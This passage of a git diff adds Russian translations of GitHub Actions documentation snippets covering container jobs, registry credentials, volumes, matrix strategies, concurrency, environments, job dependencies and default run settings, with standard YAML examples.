b/translations/ru-RU/data/reusables/actions/jobs/section-running-jobs-in-a-container-credentials.md new file mode 100644 index 000000000000..955a1d9db4bd --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/jobs/section-running-jobs-in-a-container-credentials.md @@ -0,0 +1,21 @@ +--- +ms.openlocfilehash: 55bc7e2bd09fe50c60377a90473bfc36697d0ca5 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145069569" +--- +{% data reusables.actions.registry-credentials %} + +#### Пример: определение учетных данных для реестра контейнеров + +{% raw %} +```yaml +container: + image: ghcr.io/owner/image + credentials: + username: ${{ github.actor }} + password: ${{ secrets.github_token }} +``` +{% endraw %} diff --git a/translations/ru-RU/data/reusables/actions/jobs/section-running-jobs-in-a-container-env.md b/translations/ru-RU/data/reusables/actions/jobs/section-running-jobs-in-a-container-env.md new file mode 100644 index 000000000000..ccf9e7d5f9ab --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/jobs/section-running-jobs-in-a-container-env.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 62e24e286916815e5f12a88a0203695206cbaf04 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145114251" +--- +Используйте `jobs..container.env` для задания `map` переменных среды в контейнере. diff --git a/translations/ru-RU/data/reusables/actions/jobs/section-running-jobs-in-a-container-image.md b/translations/ru-RU/data/reusables/actions/jobs/section-running-jobs-in-a-container-image.md new file mode 100644 index 000000000000..9ff811de5f74 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/jobs/section-running-jobs-in-a-container-image.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 5f61c31ac7c84ac8996f3ca0a8817ea7bddbee01 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145089493" +--- +Используйте `jobs..container.image` для определения образа Docker, который будет использоваться в качестве контейнера для выполнения действия. Значением может быть имя образа Docker Hub или имя реестра. diff --git a/translations/ru-RU/data/reusables/actions/jobs/section-running-jobs-in-a-container-options.md b/translations/ru-RU/data/reusables/actions/jobs/section-running-jobs-in-a-container-options.md new file mode 100644 index 000000000000..8a819a87be1e --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/jobs/section-running-jobs-in-a-container-options.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: 03e161962cf97493adfe400d3d7faba4f2f5270a +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145069568" +--- +Используйте `jobs..container.options` для настройки дополнительных параметров ресурса контейнера Docker. Список параметров см. в статье "[Параметры `docker create`](https://docs.docker.com/engine/reference/commandline/create/#options)". + +{% warning %} + +**Предупреждение.** Параметр `--network` на поддерживается. + +{% endwarning %} diff --git a/translations/ru-RU/data/reusables/actions/jobs/section-running-jobs-in-a-container-ports.md b/translations/ru-RU/data/reusables/actions/jobs/section-running-jobs-in-a-container-ports.md new file mode 100644 index 000000000000..a4271140b95c --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/jobs/section-running-jobs-in-a-container-ports.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: f3ddc5ca5a2febf8cdf671e988324be5c6a93404 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145114248" +--- +Используйте `jobs..container.ports` для задания `array` портов для использования в контейнере. diff --git a/translations/ru-RU/data/reusables/actions/jobs/section-running-jobs-in-a-container-volumes.md b/translations/ru-RU/data/reusables/actions/jobs/section-running-jobs-in-a-container-volumes.md new file mode 100644 index 000000000000..804aa3bf92d4 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/jobs/section-running-jobs-in-a-container-volumes.md @@ -0,0 +1,24 @@ +--- +ms.openlocfilehash: 286ed6049cd19b1d7f4c5c7dfb4d737dd0f68475 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145089490" +--- +Используйте `jobs..container.volumes` для задания `array` томов, которые будет использовать контейнер. Тома можно использовать для совместного использования данных между службами или другими этапами в задании. Можно указать именованные тома Docker, анонимные тома Docker или подключения привязок на узле. + +Чтобы указать том, укажите путь к источнику и назначению: + +`:`. + +`` — это имя тома или абсолютный путь на хост-компьютере, а `` — это абсолютный путь в контейнере. + +#### Пример. Подключение томов в контейнере + +```yaml +volumes: + - my_docker_volume:/volume_mount + - /data/my_data + - /source/directory:/destination/directory +``` diff --git a/translations/ru-RU/data/reusables/actions/jobs/section-running-jobs-in-a-container.md b/translations/ru-RU/data/reusables/actions/jobs/section-running-jobs-in-a-container.md new file mode 100644 index 000000000000..7dd5d19200c7 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/jobs/section-running-jobs-in-a-container.md @@ -0,0 +1,50 @@ +--- +ms.openlocfilehash: 59a9cc8c52f8e3d28b2b392c28ef6abcb52439a9 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147718208" +--- +Используйте `jobs..container` для создания контейнера для выполнения всех этапов задания, для которых еще не указан контейнер. При наличии этапов, которые используют действия скрипта и контейнера, действия контейнера будут выполняться как одноуровневые контейнеры в той же сети с теми же подключениями томов. + +Если `container` не задан, все этапы будут выполняться непосредственно на узле, указанном, `runs-on`, если только этап не относится к действию, настроенному на выполнение в контейнере. + +{% note %} + +**Примечание.** Оболочка по умолчанию для этапов `run` внутри контейнера — `sh` вместо `bash`. Это значение может быть изменено на [`jobs..defaults.run`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_iddefaultsrun) или [`jobs..steps[*].shell`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsshell). + +{% endnote %} + +### Пример. Выполнение задания в контейнере + +```yaml{:copy} +name: CI +on: + push: + branches: [ main ] +jobs: + container-test-job: + runs-on: ubuntu-latest + container: + image: node:14.16 + env: + NODE_ENV: development + ports: + - 80 + volumes: + - my_docker_volume:/volume_mount + options: --cpus 1 + steps: + - name: Check for dockerenv file + run: (ls /.dockerenv && echo Found dockerenv) || (echo No dockerenv) +``` + +При указании только образа контейнера можно опустить ключевое слово `image`. + +```yaml +jobs: + container-test-job: + runs-on: ubuntu-latest + container: node:14.16 +``` diff --git a/translations/ru-RU/data/reusables/actions/jobs/section-using-a-build-matrix-for-your-jobs-failfast.md b/translations/ru-RU/data/reusables/actions/jobs/section-using-a-build-matrix-for-your-jobs-failfast.md new file mode 100644 index 000000000000..28ffafc319b3 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/jobs/section-using-a-build-matrix-for-your-jobs-failfast.md @@ -0,0 +1,31 @@ +--- +ms.openlocfilehash: 61eae3ef1bfff1fc27fcfd45a693934155021a2a +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145089482" +--- +Можно управлять обработкой сбоев заданий с помощью `jobs..strategy.fail-fast` и `jobs..continue-on-error`. + +`jobs..strategy.fail-fast` применяется ко всему тому. Если `jobs..strategy.fail-fast` задано значение `true`, {% data variables.product.product_name %} отменяет все выполняемые и помещенные в очередь задания в матрице, когда какое-либо задание в матрице завершается сбоем. По умолчанию свойство имеет значение `true`. + +`jobs..continue-on-error` применяется к одному заданию. Если `jobs..continue-on-error` имеет значение `true`, другие задания в матрице будут продолжать выполняться, даже если задание с `jobs..continue-on-error: true` завершается сбоем. + +Можно использовать `jobs..strategy.fail-fast` и `jobs..continue-on-error` совместно. Например, следующий рабочий процесс запустит четыре задания. Для каждого задания `continue-on-error` определяется значением `matrix.experimental`. При сбое любого из заданий с `continue-on-error: false` все выполняемые или помещенные в очередь задания будут отменены. При сбое задания с `continue-on-error: true` другие задания не будут затронуты. + + +```yaml +jobs: + test: + runs-on: ubuntu-latest + continue-on-error: {% raw %}${{ matrix.experimental }}{% endraw %} + strategy: + fail-fast: true + matrix: + version: [6, 7, 8] + experimental: [false] + include: + - version: 9 + experimental: true +``` diff --git a/translations/ru-RU/data/reusables/actions/jobs/section-using-a-build-matrix-for-your-jobs-max-parallel.md b/translations/ru-RU/data/reusables/actions/jobs/section-using-a-build-matrix-for-your-jobs-max-parallel.md new file mode 100644 index 000000000000..dda4de20403b --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/jobs/section-using-a-build-matrix-for-your-jobs-max-parallel.md @@ -0,0 +1,21 @@ +--- +ms.openlocfilehash: 50b42f8e3c703723fc592bf63881c997e88b059c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145114235" +--- +По умолчанию {% data variables.product.product_name %} максимизирует количество параллельно выполняемых заданий в зависимости от доступности средства выполнения. Для настройки максимального числа заданий, которые могут выполняться одновременно при применении стратегии задания `matrix`, используйте `jobs..strategy.max-parallel`. + +Например, следующий рабочий процесс будет выполнять не более двух заданий одновременно, даже если для одновременного выполнения всех шести заданий доступны средства выполнения. + +```yaml +jobs: + example_matrix: + strategy: + max-parallel: 2 + matrix: + version: [10, 12, 14] + os: [ubuntu-latest, windows-latest] +``` diff --git a/translations/ru-RU/data/reusables/actions/jobs/section-using-concurrency-jobs.md b/translations/ru-RU/data/reusables/actions/jobs/section-using-concurrency-jobs.md new file mode 100644 index 000000000000..3e67a4f349ee --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/jobs/section-using-concurrency-jobs.md @@ -0,0 +1,19 @@ +--- +ms.openlocfilehash: e0ae7814db2deb2c1e666172e71566cc6d28ca1b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145093114" +--- +{% note %} + +**Примечание.** Если параллелизм задается на уровне задания, упорядочение не гарантируется для заданий или запусков, которые отстоят на интервал в пределах 5 минут друг от друга в очереди. + +{% endnote %} + +Можно использовать `jobs..concurrency`, чтобы одновременно могли выполняться только одно задание или один процесс с использованием той же группы параллелизма. Группа параллелизма может представлять собой любую строку или выражение. Выражение может использовать любой контекст, кроме контекста `secrets`. Дополнительные сведения о выражениях см. в разделе [Выражения](/actions/learn-github-actions/expressions). + +Можно также указать `concurrency` на уровне рабочего процесса. Дополнительные сведения см. на веб-сайте [`concurrency`](/actions/using-workflows/workflow-syntax-for-github-actions#concurrency). + +{% data reusables.actions.actions-group-concurrency %} diff --git a/translations/ru-RU/data/reusables/actions/jobs/section-using-concurrency.md b/translations/ru-RU/data/reusables/actions/jobs/section-using-concurrency.md new file mode 100644 index 000000000000..39353b72c919 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/jobs/section-using-concurrency.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 411eca8837a5457c87a78fbee442b6824fb3c158 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145089477" +--- +Используйте `concurrency`, чтобы одновременно могли выполняться только одно задание или один процесс с использованием той же группы параллелизма. Группа параллелизма может представлять собой любую строку или выражение. Выражение может использовать только [ контекст `github`](/actions/learn-github-actions/contexts#github-context). Дополнительные сведения о выражениях см. в разделе [Выражения](/actions/learn-github-actions/expressions). + +Также можно задать `concurrency` на уровне задания. Дополнительные сведения см. на веб-сайте [`jobs..concurrency`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idconcurrency). + +{% data reusables.actions.actions-group-concurrency %} diff --git a/translations/ru-RU/data/reusables/actions/jobs/section-using-conditions-to-control-job-execution.md b/translations/ru-RU/data/reusables/actions/jobs/section-using-conditions-to-control-job-execution.md new file mode 100644 index 000000000000..bce8c9896782 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/jobs/section-using-conditions-to-control-job-execution.md @@ -0,0 +1,30 @@ +--- +ms.openlocfilehash: 543455f8802e8e2c8b4dc60283c442a536476751 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145114232" +--- +Условное выражение `jobs..if` можно использовать для предотвращения выполнения задания, если условие не выполняется. Для создания условного выражения можно использовать любой поддерживаемый контекст и любое выражение. + +{% data reusables.actions.expression-syntax-if %} Дополнительные сведения см. в разделе [Выражения](/actions/learn-github-actions/expressions). + +### Пример. Выполнение задания только для определенного репозитория + +В этом примере используется `if` для управления выполнением задания `production-deploy`. Оно будет выполняться только в том случае, если репозиторий имеет имя `octo-repo-prod` и находится в организации `octo-org`. В противном случае задание будет отмечено как _пропущенное_. + +```yaml{:copy} +name: example-workflow +on: [push] +jobs: + production-deploy: + if: github.repository == 'octo-org/octo-repo-prod' + runs-on: ubuntu-latest + steps: + - uses: {% data reusables.actions.action-checkout %} + - uses: {% data reusables.actions.action-setup-node %} + with: + node-version: '14' + - run: npm install -g bats +``` diff --git a/translations/ru-RU/data/reusables/actions/jobs/section-using-environments-for-jobs.md b/translations/ru-RU/data/reusables/actions/jobs/section-using-environments-for-jobs.md new file mode 100644 index 000000000000..c123c3a7f79c --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/jobs/section-using-environments-for-jobs.md @@ -0,0 +1,37 @@ +--- +ms.openlocfilehash: 5b827a2f598a6067ae3c486dbe046effda95bb7f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145089474" +--- +Используется `jobs..environment` для определения среды, на которую ссылается задание. Чтобы задание, ссылающееся на среду, было отправлено в средство выполнения, должны соблюдаться все правила защиты среды. Дополнительные сведения см. в разделе [Использование сред для развертывания](/actions/deployment/using-environments-for-deployment). + +Вы можете указать среду в виде только имени среды `name` или в виде объекта среды с `name` и `url`. URL-адрес сопоставляется с `environment_url` в API развертываний. Дополнительные сведения об API развертываний см. в разделе [Развертывания](/rest/reference/repos#deployments). + +### Пример. Использование только имени среды +{% raw %} +```yaml +environment: staging_environment +``` +{% endraw %} + +### Пример. Использование имени среды и URL-адреса + +```yaml +environment: + name: production_environment + url: https://github.com +``` + +URL-адрес может быть выражением и может использовать любой контекст, кроме [контекста`secrets`](/actions/learn-github-actions/contexts#contexts). Дополнительные сведения о выражениях см. в разделе [Выражения](/actions/learn-github-actions/expressions). + +### Пример. Использование выходных данных в качестве URL-адреса +{% raw %} +```yaml +environment: + name: production_environment + url: ${{ steps.step_id.outputs.url_output }} +``` +{% endraw %} diff --git a/translations/ru-RU/data/reusables/actions/jobs/section-using-jobs-in-a-workflow-id.md b/translations/ru-RU/data/reusables/actions/jobs/section-using-jobs-in-a-workflow-id.md new file mode 100644 index 000000000000..c72e881dfbfb --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/jobs/section-using-jobs-in-a-workflow-id.md @@ -0,0 +1,21 @@ +--- +ms.openlocfilehash: dd25f74bf039724130494c7bd4d55e44760f620b +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145114227" +--- +Используйте `jobs.`, чтобы назначить заданию уникальный идентификатор. Ключ `job_id` представляет собой строку, а значение ключа представляет собой карту данных конфигурации задания. Необходимо заменить `` строкой, уникальной для объекта `jobs`. `` должен начинаться с буквы или `_` и может включать только буквенно-цифровые символы `-` или `_`. + +#### Пример. Создание заданий + +В этом примере были созданы два задания, и их `job_id` равны `my_first_job` и `my_second_job`. + +```yaml +jobs: + my_first_job: + name: My first job + my_second_job: + name: My second job +``` diff --git a/translations/ru-RU/data/reusables/actions/jobs/section-using-jobs-in-a-workflow-name.md b/translations/ru-RU/data/reusables/actions/jobs/section-using-jobs-in-a-workflow-name.md new file mode 100644 index 000000000000..489f1ac2d9b5 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/jobs/section-using-jobs-in-a-workflow-name.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 181d9b85c73128789d5d8bdb53c3f6d57d26a6e2 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146138995" +--- +Используйте `jobs..name` для присвоения имени заданию, которое отображается в пользовательском интерфейсе {% data variables.product.prodname_dotcom %}. diff --git a/translations/ru-RU/data/reusables/actions/jobs/section-using-jobs-in-a-workflow-needs.md b/translations/ru-RU/data/reusables/actions/jobs/section-using-jobs-in-a-workflow-needs.md new file mode 100644 index 000000000000..192e79616708 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/jobs/section-using-jobs-in-a-workflow-needs.md @@ -0,0 +1,42 @@ +--- +ms.openlocfilehash: ec9ff0fb1eb8f9fd06d4da13716b3e8e31a758e5 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145883580" +--- +Используйте `jobs..needs` для определения всех заданий, которые должны быть успешно завершены перед выполнением этого задания. Это может быть строка или массив строк. Если задание завершается ошибкой, все требуемые задания пропускаются, если задания не используют условное выражение, которое приводит к продолжению задания. Если выполнение содержит ряд заданий, которые зависят друг от друга, сбой распространяется на все задания в цепочке зависимостей, начиная с места проявления этого сбоя. + +#### Пример. Необходимо успешное выполнение зависимых заданий + +```yaml +jobs: + job1: + job2: + needs: job1 + job3: + needs: [job1, job2] +``` + +В этом примере задание `job1` должно успешно завершить работу перед началом задания `job2`, а задание `job3` ожидает завершения заданий `job1` и `job2`. + +Задания в этом примере выполняются последовательно: + +1. `job1` +2. `job2` +3. `job3` + +#### Пример. Успешное выполнение зависимых заданий не требуется + +```yaml +jobs: + job1: + job2: + needs: job1 + job3: + if: {% raw %}${{ always() }}{% endraw %} + needs: [job1, job2] +``` + +В этом примере в задании `job3` используется условное выражение `always()`, чтобы оно всегда выполнялось после завершения выполнения заданий `job1` и `job2`, независимо от того, завершились ли они успешно. Дополнительные сведения см. в разделе [Выражения](/actions/learn-github-actions/expressions#status-check-functions). diff --git a/translations/ru-RU/data/reusables/actions/jobs/section-using-jobs-in-a-workflow.md b/translations/ru-RU/data/reusables/actions/jobs/section-using-jobs-in-a-workflow.md new file mode 100644 index 000000000000..0e282229caee --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/jobs/section-using-jobs-in-a-workflow.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: 2bdab95a93e5eff4bc68d8da73fd9d7d9a93580a +ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879706" +--- +Запуск рабочего процесса состоит из одного или нескольких `jobs`, которые по умолчанию выполняются параллельно. Для последовательного выполнения заданий можно определить зависимости в других заданиях с помощью ключевого слова `jobs..needs`. + +Каждое задание выполняется в среде средства выполнения тестов, указанной в параметре `runs-on`. + +Вы можете выполнять неограниченное количество заданий, если вы не превышаете лимиты по использованию рабочих процессов. Дополнительные сведения см. в разделе {% ifversion fpt or ghec or ghes %}[Лимиты использования и выставления счетов](/actions/reference/usage-limits-billing-and-administration) для средств выполнения тестов, размещенных в {% data variables.product.prodname_dotcom %} и {% endif %}"[Сведения о средствах выполнения тестов локального размещения](/actions/hosting-your-own-runners/about-self-hosted-runners/#usage-limits){% ifversion fpt or ghec or ghes %}, где описываются лимиты по использованию средства выполнения тестов локального размещения.{% elsif ghae %}.{% endif %} + +Если требуется найти уникальный идентификатор задания, выполняемого в ходе выполнения рабочего процесса, можно использовать API {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}. Дополнительные сведения см. в разделе [Задания рабочего процесса](/rest/reference/actions#workflow-jobs). diff --git a/translations/ru-RU/data/reusables/actions/jobs/setting-default-values-for-jobs-defaults-job-run.md b/translations/ru-RU/data/reusables/actions/jobs/setting-default-values-for-jobs-defaults-job-run.md new file mode 100644 index 000000000000..7a667a7a7e41 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/jobs/setting-default-values-for-jobs-defaults-job-run.md @@ -0,0 +1,25 @@ +--- +ms.openlocfilehash: dae1f0d42b9b0b2e122bfcfc2a096d062efd8ee0 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145114187" +--- +Использует `jobs..defaults.run` для предоставления параметры по умолчанию `shell` и `working-directory` для всех этапов `run` в задании. Контекст и выражение не допускаются в этом разделе. + +Можно указать параметры по умолчанию `shell` и `working-directory` для всех этапов [`run`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun) в задании. Вы также можете задать параметры по умолчанию для `run` для всего рабочего процесса. Дополнительные сведения см. на веб-сайте [`jobs.defaults.run`](/actions/using-workflows/workflow-syntax-for-github-actions#defaultsrun). В этом ключевом слове нельзя использовать контексты или выражения. + +{% data reusables.actions.defaults-override %} + +#### Пример. Настройка параметров этапа по умолчанию `run` для задания + +```yaml +jobs: + job1: + runs-on: ubuntu-latest + defaults: + run: + shell: bash + working-directory: scripts +``` diff --git a/translations/ru-RU/data/reusables/actions/jobs/setting-default-values-for-jobs-defaults-job.md b/translations/ru-RU/data/reusables/actions/jobs/setting-default-values-for-jobs-defaults-job.md new file mode 100644 index 000000000000..62173e5020f8 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/jobs/setting-default-values-for-jobs-defaults-job.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 1ebdd8b9cbe9de9eeb37ddec7bc6a1cf81c5b26e +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145089429" +--- +Используйте `jobs..defaults` для создания `map` с параметрами по умолчанию, которые будут применяться ко всем шагам задания. Вы также можете задать параметры по умолчанию для всего рабочего процесса. Дополнительные сведения см. на веб-сайте [`defaults`](/actions/using-workflows/workflow-syntax-for-github-actions#defaults). + +{% data reusables.actions.defaults-override %} diff --git a/translations/ru-RU/data/reusables/actions/jobs/setting-default-values-for-jobs-defaults-run.md b/translations/ru-RU/data/reusables/actions/jobs/setting-default-values-for-jobs-defaults-run.md new file mode 100644 index 000000000000..eb27009bc82a --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/jobs/setting-default-values-for-jobs-defaults-run.md @@ -0,0 +1,20 @@ +--- +ms.openlocfilehash: 95ea94c1f81a3b586d60d96dbd5a882dcdbe89fc +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145114184" +--- +Можно использовать `defaults.run` для указания параметров по умолчанию `shell` и `working-directory` для всех этапов [`run`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun) в рабочем процессе. Можно также указать параметры по умолчанию для `run`, доступные только для задания. Дополнительные сведения см. на веб-сайте [`jobs..defaults.run`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_iddefaultsrun). В этом ключевом слове нельзя использовать контексты или выражения. + +{% data reusables.actions.defaults-override %} + +#### Пример. Указание оболочки по умолчанию и рабочего каталога + +```yaml +defaults: + run: + shell: bash + working-directory: scripts +``` diff --git a/translations/ru-RU/data/reusables/actions/jobs/setting-default-values-for-jobs-defaults.md b/translations/ru-RU/data/reusables/actions/jobs/setting-default-values-for-jobs-defaults.md new file mode 100644 index 000000000000..7b2055fa16e4 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/jobs/setting-default-values-for-jobs-defaults.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 9d1cfec47bbf58755b0052310c50a2cff0ca1890 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145089426" +--- +Используйте `defaults` для создания `map` с параметрами по умолчанию, которые будут применяться ко всем заданиям в рабочем процессе. Можно также указать параметры по умолчанию, доступные только для задания. Дополнительные сведения см. на веб-сайте [`jobs..defaults`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_iddefaults). + +{% data reusables.actions.defaults-override %} diff --git a/translations/ru-RU/data/reusables/actions/jobs/single-dimension-matrix.md b/translations/ru-RU/data/reusables/actions/jobs/single-dimension-matrix.md new file mode 100644 index 000000000000..2287f0761359 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/jobs/single-dimension-matrix.md @@ -0,0 +1,23 @@ +--- +ms.openlocfilehash: 00fcbabef5e440a27a495ab562cf7ccc43a7e030 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145114176" +--- +Можно указать одну переменную для создания одномерной матрицы. + +Например, следующий рабочий процесс определяет переменную `version` со значениями `[10, 12, 14]`. Рабочий процесс будет выполнять три задания, по одному для каждого значения в переменной. Каждое задание будет получать доступ к значению `version` через контекст `matrix.version` и передавать значение `node-version` в действие `actions/setup-node`. + +```yaml +jobs: + example_matrix: + strategy: + matrix: + version: [10, 12, 14] + steps: + - uses: {% data reusables.actions.action-setup-node %} + with: + node-version: {% raw %}${{ matrix.version }}{% endraw %} +``` diff --git a/translations/ru-RU/data/reusables/actions/jobs/using-matrix-strategy.md b/translations/ru-RU/data/reusables/actions/jobs/using-matrix-strategy.md new file mode 100644 index 000000000000..3352d167dbd5 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/jobs/using-matrix-strategy.md @@ -0,0 +1,33 @@ +--- +ms.openlocfilehash: 02f279903abd69f50ad55aa88462c9c8e4b9a1a8 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145093113" +--- +Используйте `jobs..strategy.matrix` для создания матрицы различных конфигураций заданий В матрице определите одну или несколько переменных, за которыми следует массив значений. Например, в указанной ниже матрице есть переменная под именем `version` со значением `[10, 12, 14]` и переменная под именем `os` со значением `[ubuntu-latest, windows-latest]`: + +```yaml +jobs: + example_matrix: + strategy: + matrix: + version: [10, 12, 14] + os: [ubuntu-latest, windows-latest] +``` + +Задание будет выполняться для каждой возможной комбинации переменных. В этом примере рабочий процесс будет выполнять шесть заданий, по одному для каждой комбинации переменных `os` и `version`. + +По умолчанию {% data variables.product.product_name %} максимизирует количество параллельно выполняемых заданий в зависимости от доступности средства выполнения. Порядок переменных в матрице определяет порядок создания заданий. Первая переменная, которую вы определите, будет первым заданием, созданным в ходе выполнения рабочего процесса. Например, указанная выше матрица создаст задания в следующем порядке: + +- `{version: 10, os: ubuntu-latest}` +- `{version: 10, os: windows-latest}` +- `{version: 12, os: ubuntu-latest}` +- `{version: 12, os: windows-latest}` +- `{version: 14, os: ubuntu-latest}` +- `{version: 14, os: windows-latest}` + +Матрица создаст не более 256 заданий для каждого выполнения рабочего процесса. Это ограничение применяется как к размещенным в {% data variables.product.product_name %}, так и к локальным средствам выполнения. + +Переменные, которые вы определяете, становятся свойствами в контексте `matrix`, и можно ссылаться на это свойство в других областях файла рабочего процесса. В этом примере можно использовать `matrix.version` и `matrix.os`, чтобы получить доступ к текущим значениям `version` и `os`, которые использует задание. Дополнительные сведения см. в статье "[Контексты](/actions/learn-github-actions/contexts)". diff --git a/translations/ru-RU/data/reusables/actions/learn-more-about-yaml.md b/translations/ru-RU/data/reusables/actions/learn-more-about-yaml.md new file mode 100644 index 000000000000..61e65dc34103 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/learn-more-about-yaml.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 7ba236a4c0ab9c91b5cec07652b31bd7ca851dfd +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145089418" +--- +Если вы не знакомы с YAML и хотите узнать о нем подробнее, см. раздел [Узнайте о YAML за Y минут](https://learnxinyminutes.com/docs/yaml/). diff --git a/translations/ru-RU/data/reusables/actions/learning-actions.md b/translations/ru-RU/data/reusables/actions/learning-actions.md new file mode 100644 index 000000000000..869b2f037848 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/learning-actions.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 45b1a22be33d2200fa8814d463208d909b86a6f4 